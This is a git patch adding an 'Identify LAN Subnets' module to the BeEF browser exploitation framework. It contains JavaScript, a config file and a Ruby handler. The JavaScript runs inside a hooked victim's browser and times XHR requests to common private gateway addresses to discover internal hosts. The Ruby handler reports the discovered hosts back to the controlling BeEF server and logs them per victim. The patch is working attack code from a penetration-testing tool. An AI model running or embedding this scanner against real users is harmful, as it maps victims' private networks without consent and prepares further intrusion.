From b105288a9bb37a78368d428f134c655940689ff0 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 20 Jan 2015 15:19:09 +0000 Subject: [PATCH] Add Identify LAN Subnets module --- .../network/identify_lan_subnets/command.js | 123 ++++++++++++++++++ .../network/identify_lan_subnets/config.yaml | 16 +++ .../network/identify_lan_subnets/module.rb | 48 +++++++ 3 files changed, 187 insertions(+) create mode 100644 modules/network/identify_lan_subnets/command.js create mode 100644 modules/network/identify_lan_subnets/config.yaml create mode 100644 modules/network/identify_lan_subnets/module.rb diff --git a/modules/network/identify_lan_subnets/command.js b/modules/network/identify_lan_subnets/command.js new file mode 100644 index 000000000..a4347324d --- /dev/null +++ b/modules/network/identify_lan_subnets/command.js @@ -0,0 +1,123 @@ +// +// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + if(!beef.browser.isFF() && !beef.browser.isC()){ + beef.debug("[command #<%= @command_id %>] Browser is not supported."); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser"); + } + + var min_timeout = 500; + var ranges = [ + '192.168.0.0', + '192.168.1.0', + '192.168.2.0', + '192.168.10.0', + '192.168.100.0', + '192.168.123.0', + '10.0.0.0', + '10.0.1.0', + '10.1.1.0', + '10.10.10.0', + '172.16.0.0', + '172.16.1.0' + ]; + +var doScan = function(timeout) { + + var discovered_hosts = []; + var proto = "http"; + + var doRequest = function(host) { + var d = new Date; + var xhr = new XMLHttpRequest(); + xhr.timeout = timeout; + xhr.onreadystatechange = function(){ + if(xhr.readyState == 4){ + var time = new Date().getTime() - d.getTime(); + var aborted = false; + // if we call window.stop() the event triggered is 'abort' + // http://www.w3.org/TR/XMLHttpRequest/#event-handlers + xhr.onabort = function(){ + aborted = true; + } + xhr.onloadend = function(){ + if(time < timeout){ + // 'abort' fires always before 'onloadend' + if(time > 1 && aborted === false){ + beef.debug('Discovered host ['+host+'] in ['+time+'] ms'); + discovered_hosts.push(host); + } + } + } + } + } + xhr.open("GET", proto + "://" + host, true); + xhr.send(); + } + + var requests = new Array(); + for (var i = 0; i < ranges.length; i++) { + // the following returns like 192.168.0. + var c = ranges[i].split('.')[0]+'.'+ + ranges[i].split('.')[1]+'.'+ + ranges[i].split('.')[2]+'.'; + // for every entry in the 'ranges' array, request + // the most common gateway IPs, like: + // 192.168.0.1, 192.168.0.100, 192.168.0.254 + requests.push(c + '1'); + requests.push(c + '100'); + requests.push(c + '254'); + } + + // process queue + var count = requests.length; + beef.debug("[command #<%= @command_id %>] Identifying LAN hosts ("+count+" URLs) (Timeout " + timeout + "ms)"); + var check_timeout = (timeout * count + parseInt(timeout,10)); + var handle = setInterval(function() { + if (requests.length > 0) { + doRequest(requests.pop()); + } + }, timeout); + + // check for results + checkResults = function() { + + if (handle) { + beef.debug("[command #<%= @command_id %>] Killing timer [ID: " + handle + "]"); + clearInterval(handle); + handle = 0; + } + + var hosts = discovered_hosts.join(","); + beef.debug("Discovered " + discovered_hosts.length + " hosts: " + hosts); + if (discovered_hosts.length >= 5) { + // if we get 5+ results something probably went wrong. this happens sometimes. + if (timeout > min_timeout) { + // if timeout is more than 500ms then decrease timeout by 500ms and try again + beef.debug("Returned large hit rate (" + discovered_hosts.length + " of " + count + ") indicating low network latency. Retrying scan with decreased timeout (" + (timeout - 500) + "ms)"); + doScan(timeout-500); + } else { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unexpected results&hosts="+hosts); + } + } else if (discovered_hosts.length == 0) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no results"); + } else { + beef.debug("[command #<%= @command_id %>] Identifying LAN hosts completed."); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'hosts='+hosts); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=scan complete"); + } + } + setTimeout("checkResults();", check_timeout); + +} + +var timeout = "<%= @timeout %>"; +if (isNaN(timeout) || timeout < 1) timeout = min_timeout; +doScan(parseInt(timeout,10)); + +}); diff --git a/modules/network/identify_lan_subnets/config.yaml b/modules/network/identify_lan_subnets/config.yaml new file mode 100644 index 000000000..859adabd1 --- /dev/null +++ b/modules/network/identify_lan_subnets/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + identify_lan_subnets: + enable: true + category: "Network" + name: "Identify LAN Subnets" + description: "Discover active hosts in the internal network(s) of the hooked browser. This module works by attempting to connect to commonly used LAN IP addresses and timing the response." + authors: ["browserhacker.com"] + target: + working: ["FF", "C"] + not_working: ["IE", "S", "O"] diff --git a/modules/network/identify_lan_subnets/module.rb b/modules/network/identify_lan_subnets/module.rb new file mode 100644 index 000000000..51aa7ca93 --- /dev/null +++ b/modules/network/identify_lan_subnets/module.rb @@ -0,0 +1,48 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +## +# Ported to BeEF from: http://browserhacker.com/code/Ch10/index.html +## + +class Identify_lan_subnets < BeEF::Core::Command + + def self.options + return [ + {'name' => 'timeout', 'ui_label' => 'Timeout for each request (ms)', 'value' => '500'} + ] + end + + def post_execute + content = {} + content['host'] = @datastore['host'] if not @datastore['host'].nil? + content['hosts'] = @datastore['hosts'] if not @datastore['hosts'].nil? + if content.empty? + content['fail'] = 'No active hosts have been discovered.' + end + save content + + configuration = BeEF::Core::Configuration.instance + if configuration.get("beef.extension.network.enable") == true + + session_id = @datastore['beefhook'] + cid = @datastore['cid'].to_i + + # log the network hosts + if @datastore['results'] =~ /^hosts=([\d\.,]+)/ + hosts = "#{$1}" + hosts.split(',').flatten.each do |ip| + next if ip.nil? + next unless ip.to_s =~ /^([\d\.]+)$/ + print_debug("Hooked browser found host #{ip}") + r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid) + r.save + end + end + end + + end + +end